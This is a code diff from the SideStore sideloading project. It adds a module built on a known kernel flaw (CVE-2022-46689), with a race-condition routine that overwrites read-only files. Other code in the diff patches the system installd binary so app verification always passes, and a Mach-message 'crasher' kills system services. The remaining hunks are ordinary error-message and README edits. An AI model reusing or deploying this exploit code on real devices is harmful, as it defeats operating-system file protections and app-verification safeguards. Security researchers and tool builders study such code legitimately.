offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
0) {
printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
struct installd_remove_app_limit_offsets offsets = {};
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool patch_installd() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_patch_installd(targetMap, targetLength);
if (!sourceData) {
NSLog(@"can't patchfind");
return false;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
NSLog(@"can't overwrite");
return false;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
overwrite_file(fd, originalData);
return true;
}

20
MacDirtyCow/helpers.h Normal file
View File

@@ -0,0 +1,20 @@
//
// helpers.h
// AltStore
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
#ifndef helpers_h
#define helpers_h
char* get_temp_file_path(void);
void test_nsexpressions(void);
char* set_up_tmp_file(void);
void xpc_crasher(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */

138
MacDirtyCow/helpers.m Normal file
View File

@@ -0,0 +1,138 @@
//
// helpers.m
// MacDirtyCow
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temp_file_path(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* set_up_tmp_file(void) {
char* path = get_temp_file_path();
printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
printf("port right extraction failed: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void xpc_crasher(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("port right insertion failed: %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
printf("port allocation failed: %s\n", mach_error_string(err));
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("w00t message send failed: %s\n", mach_error_string(err));
return;
} else {
printf("sent xpc w00t message\n");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}

View File

@@ -0,0 +1,20 @@
//
// vm_unaligned_copy_switch_race.h
// AltStore
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
#ifndef vm_unaligned_copy_switch_race_h
#define vm_unaligned_copy_switch_race_h
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
#endif /* vm_unaligned_copy_switch_race_h */

View File

@@ -0,0 +1,370 @@
//
// vm_unaligned_copy_switch_race.m
// MacDirtyCow
//
// Created by June P on 2023/11/28.
// Copyright © 2023 SideStore. All rights reserved.
//
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "vm_unaligned_copy_switch_race.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct context1 {
vm_size_t obj_size;
vm_address_t e0;
mach_port_t mem_entry_ro;
mach_port_t mem_entry_rw;
dispatch_semaphore_t running_sem;
pthread_mutex_t mtx;
volatile bool done;
};
static void *
switcheroo_thread(__unused void *arg)
{
kern_return_t kr;
struct context1 *ctx;
ctx = (struct context1 *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->running_sem);
while (!ctx->done) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mtx);
if (ctx->done) {
pthread_mutex_unlock(&ctx->mtx);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_rw,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mtx);
usleep(100);
}
return NULL;
}
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct context1 context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->obj_size = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
if (file_mapped == MAP_FAILED) {
fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->obj_size);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->e0 = 0;
ctx->running_sem = dispatch_semaphore_create(0);
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
ret = pthread_mutex_init(&ctx->mtx, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->done = false;
ctx->mem_entry_rw = MACH_PORT_NULL;
ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->obj_size);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->obj_size,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->obj_size * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->obj_size * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < overwrite_length; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
fprintf(stderr, "no diff?\n");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->obj_size);
/* get a memory entry handle for that RW memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_rw,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mtx);
/* start racing thread */
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->obj_size,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->obj_size);
/* map our read-only target memory right after */
ctx->e0 = e2 + ctx->obj_size;
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mtx);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->obj_size - 1 + overwrite_length,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mtx);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
ctx->e0 = 0;
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
e2 = 0;
if (!is_still_equal) {
retval = true;
fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->done = true;
pthread_mutex_unlock(&ctx->mtx);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
#if 0
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
kern_success, kern_protection_failure, kern_other);
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
#endif
return retval;
}

View File

@@ -6,7 +6,6 @@
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://makeapullrequest.com)
[![Nightly SideStore build](https://github.com/SideStore/SideStore/actions/workflows/nightly.yml/badge.svg)](https://github.com/SideStore/SideStore/actions/workflows/nightly.yml)
[![.github/workflows/beta.yml](https://github.com/SideStore/SideStore/actions/workflows/beta.yml/badge.svg)](https://github.com/SideStore/SideStore/actions/workflows/beta.yml)
[![Discord](https://img.shields.io/discord/949183273383395328?label=Discord)](https://discord.gg/sidestore-949183273383395328)
![Alt](https://repobeats.axiom.co/api/embed/3a329ce95955690b9a9366f8d5598626a847d96c.svg "Repobeats analytics image")

View File

@@ -8,16 +8,9 @@
#import "NSError+ALTServerError.h"
#if TARGET_OS_OSX
#import "AltServer-Swift.h"
#else
#import "AltStoreCore/AltStoreCore-Swift.h"
#endif
NSErrorDomain const AltServerErrorDomain = @"AltServer.ServerError";
NSErrorDomain const AltServerInstallationErrorDomain = @"AltServer.InstallationError";
NSErrorDomain const AltServerConnectionErrorDomain = @"AltServer.ConnectionError";
NSErrorDomain const AltServerErrorDomain = @"com.rileytestut.AltServer";
NSErrorDomain const AltServerInstallationErrorDomain = @"com.rileytestut.AltServer.Installation";
NSErrorDomain const AltServerConnectionErrorDomain = @"com.rileytestut.AltServer.Connection";
NSErrorUserInfoKey const ALTUnderlyingErrorDomainErrorKey = @"underlyingErrorDomain";
NSErrorUserInfoKey const ALTUnderlyingErrorCodeErrorKey = @"underlyingErrorCode";
@@ -31,16 +24,8 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
+ (void)load
{
[NSError alt_setUserInfoValueProviderForDomain:AltServerErrorDomain provider:^id _Nullable(NSError * _Nonnull error, NSErrorUserInfoKey _Nonnull userInfoKey) {
if ([userInfoKey isEqualToString:NSLocalizedDescriptionKey])
{
return [error altserver_localizedDescription];
}
else if ([userInfoKey isEqualToString:NSLocalizedFailureErrorKey])
{
return [error altserver_localizedFailure];
}
else if ([userInfoKey isEqualToString:NSLocalizedFailureReasonErrorKey])
[NSError setUserInfoValueProviderForDomain:AltServerErrorDomain provider:^id _Nullable(NSError * _Nonnull error, NSErrorUserInfoKey _Nonnull userInfoKey) {
if ([userInfoKey isEqualToString:NSLocalizedFailureReasonErrorKey])
{
return [error altserver_localizedFailureReason];
}
@@ -56,10 +41,10 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
return nil;
}];
[NSError alt_setUserInfoValueProviderForDomain:AltServerConnectionErrorDomain provider:^id _Nullable(NSError * _Nonnull error, NSErrorUserInfoKey _Nonnull userInfoKey) {
if ([userInfoKey isEqualToString:NSLocalizedFailureReasonErrorKey])
[NSError setUserInfoValueProviderForDomain:AltServerConnectionErrorDomain provider:^id _Nullable(NSError * _Nonnull error, NSErrorUserInfoKey _Nonnull userInfoKey) {
if ([userInfoKey isEqualToString:NSLocalizedDescriptionKey])
{
return [error altserver_connection_localizedFailureReason];
return [error altserver_connection_localizedDescription];
}
else if ([userInfoKey isEqualToString:NSLocalizedRecoverySuggestionErrorKey])
{
@@ -70,53 +55,6 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
}];
}
- (nullable NSString *)altserver_localizedDescription
{
switch ((ALTServerError)self.code)
{
case ALTServerErrorUnderlyingError:
{
// We're wrapping another error, so return the wrapped error's localized description.
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
return underlyingError.localizedDescription;
}
default:
return nil;
}
}
- (nullable NSString *)altserver_localizedFailure
{
switch ((ALTServerError)self.code)
{
case ALTServerErrorUnderlyingError:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
return underlyingError.alt_localizedFailure;
}
case ALTServerErrorConnectionFailed:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
if (underlyingError.localizedFailureReason != nil)
{
// Only return localized failure if there is an underlying error with failure reason.
#if TARGET_OS_OSX
return NSLocalizedString(@"There was an error connecting to the device.", @"");
#else
return NSLocalizedString(@"AltServer could not establish a connection to SideStore.", @"");
#endif
}
return nil;
}
default:
return nil;
}
}
- (nullable NSString *)altserver_localizedFailureReason
{
switch ((ALTServerError)self.code)
@@ -142,21 +80,12 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
return NSLocalizedString(@"An unknown error occured.", @"");
case ALTServerErrorConnectionFailed:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
if (underlyingError.localizedFailureReason != nil)
{
return underlyingError.localizedFailureReason;
}
// Return fallback failure reason if there isn't an underlying error with failure reason.
#if TARGET_OS_OSX
return NSLocalizedString(@"There was an error connecting to the device.", @"");
#else
return NSLocalizedString(@"Could not connect to SideStore.", @"");
#endif
}
case ALTServerErrorLostConnection:
return NSLocalizedString(@"Lost connection to SideStore.", @"");
@@ -164,8 +93,8 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
return NSLocalizedString(@"SideStore could not find this device.", @"");
case ALTServerErrorDeviceWriteFailed:
return NSLocalizedString(@"SideStore could not write data to this device.", @"");
return NSLocalizedString(@"Failed to write app data to device.", @"");
case ALTServerErrorInvalidRequest:
return NSLocalizedString(@"SideStore received an invalid request.", @"");
@@ -173,20 +102,14 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
return NSLocalizedString(@"SideStore sent an invalid response.", @"");
case ALTServerErrorInvalidApp:
return NSLocalizedString(@"The app is in an invalid format.", @"");
return NSLocalizedString(@"The app is invalid.", @"");
case ALTServerErrorInstallationFailed:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
if (underlyingError != nil) {
return underlyingError.localizedFailureReason ?: underlyingError.localizedDescription;
}
return NSLocalizedString(@"An error occured while installing the app.", @"");
}
case ALTServerErrorMaximumFreeAppLimitReached:
return NSLocalizedString(@"You cannot activate more than 3 apps with a non-developer Apple ID.", @"");
return NSLocalizedString(@"Cannot activate more than 3 apps with a non-developer Apple ID.", @"");
case ALTServerErrorUnsupportediOSVersion:
return NSLocalizedString(@"Your device must be running iOS 12.2 or later to install SideStore.", @"");
@@ -194,8 +117,8 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
return NSLocalizedString(@"SideStore does not support this request.", @"");
case ALTServerErrorUnknownResponse:
return NSLocalizedString(@"SideStore received an unknown response from SideStore.", @"");
return NSLocalizedString(@"Received an unknown response from SideStore.", @"");
case ALTServerErrorInvalidAnisetteData:
return NSLocalizedString(@"The provided anisette data is invalid.", @"");
@@ -230,19 +153,7 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
{
switch ((ALTServerError)self.code)
{
case ALTServerErrorUnderlyingError:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
return underlyingError.localizedRecoverySuggestion;
}
case ALTServerErrorConnectionFailed:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
if (underlyingError.localizedRecoverySuggestion != nil){
return underlyingError.localizedRecoverySuggestion;
}
// If there is no underlying error found, fall through to AltServerErrorDeviceNotFound
}
case ALTServerErrorDeviceNotFound:
return NSLocalizedString(@"Make sure you have trusted this device with your computer and Wi-Fi sync is enabled.", @"");
@@ -271,13 +182,6 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
{
switch ((ALTServerError)self.code)
{
case ALTServerErrorUnderlyingError:
{
NSError *underlyingError = self.userInfo[NSUnderlyingErrorKey];
return underlyingError.alt_localizedDebugDescription;
}
case ALTServerErrorIncompatibleDeveloperDisk:
{
NSString *path = self.userInfo[NSFilePathErrorKey];
@@ -287,7 +191,7 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
}
NSString *osVersion = [self altserver_osVersion] ?: NSLocalizedString(@"this device's OS version", @"");
NSString *debugDescription = [NSString stringWithFormat:NSLocalizedString(@"The Developer disk located at %@ is incompatible with %@.", @""), path, osVersion];
NSString *debugDescription = [NSString stringWithFormat:NSLocalizedString(@"The Developer disk located at\n\n%@\n\nis incompatible with %@.", @""), path, osVersion];
return debugDescription;
}
@@ -328,7 +232,7 @@ NSErrorUserInfoKey const ALTOperatingSystemVersionErrorKey = @"ALTOperatingSyste
#pragma mark - AltServerConnectionErrorDomain -
- (nullable NSString *)altserver_connection_localizedFailureReason
- (nullable NSString *)altserver_connection_localizedDescription
{
switch ((ALTServerConnectionError)self.code)
{

View File

@@ -1,182 +0,0 @@
//
// ALTLocalizedError.swift
// AltStore
//
// Created by Riley Testut on 10/14/22.
// Copyright © 2022 Riley Testut. All rights reserved.
//
import Foundation
import AltSign
public let ALTLocalizedTitleErrorKey = "ALTLocalizedTitle"
public let ALTLocalizedDescriptionKey = "ALTLocalizedDescription"
